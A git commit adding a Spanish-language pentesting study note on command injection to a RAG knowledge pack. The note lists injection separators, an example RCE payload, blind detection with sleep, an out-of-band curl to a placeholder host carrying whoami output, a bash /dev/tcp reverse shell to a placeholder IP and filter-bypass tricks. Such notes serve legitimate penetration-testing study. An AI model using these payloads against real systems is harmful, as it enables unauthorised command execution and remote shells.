saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/02 - Explotacion web/Command injection.md

@@ -0,0 +1,36 @@
+# Command injection
+
+> Un parámetro web acaba dentro de un comando del sistema → ejecutas comandos. RCE directo, vector top del Hacking web.
+
+## Dónde aparece
+Funciones que "hacen algo" con tu input: `ping`, `nslookup`, convertir imágenes, export, backup, "test connection".
+
+## Separadores a probar (en Burp Repeater e Intruder)
+```
+;id           ejecuta tras el comando
+| id          pipe
+& id   / && id   encadenado
+`id`   $(id)   sustitución de comando
+%0a id        newline (a veces evade filtros)
+```
+Ejemplo: `?host=127.0.0.1;id` → si ves `uid=...` en la respuesta, tienes RCE.
+
+## Blind (no ves la salida)
+```bash
+# basado en tiempo:
+?host=127.0.0.1 && sleep 5        # ¿tarda 5s? → vulnerable
+# out-of-band:
+?host=127.0.0.1; curl http://TU_IP/$(whoami)   # míralo en tu http.server
+```
+
+## De RCE a shell
+```
+?host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
+```
+→ recíbela en tu listener (Reverse shell, ojo al Egress filtering).
+
+## Bypass de filtros
+- Espacios filtrados → `${IFS}`, `$IFS$9`, `<`.
+- Palabras filtradas → `w''hoami`, `wh\oami`, variables.
+
+Relacionado: Directory traversal · Reverse shell · OSCP MOC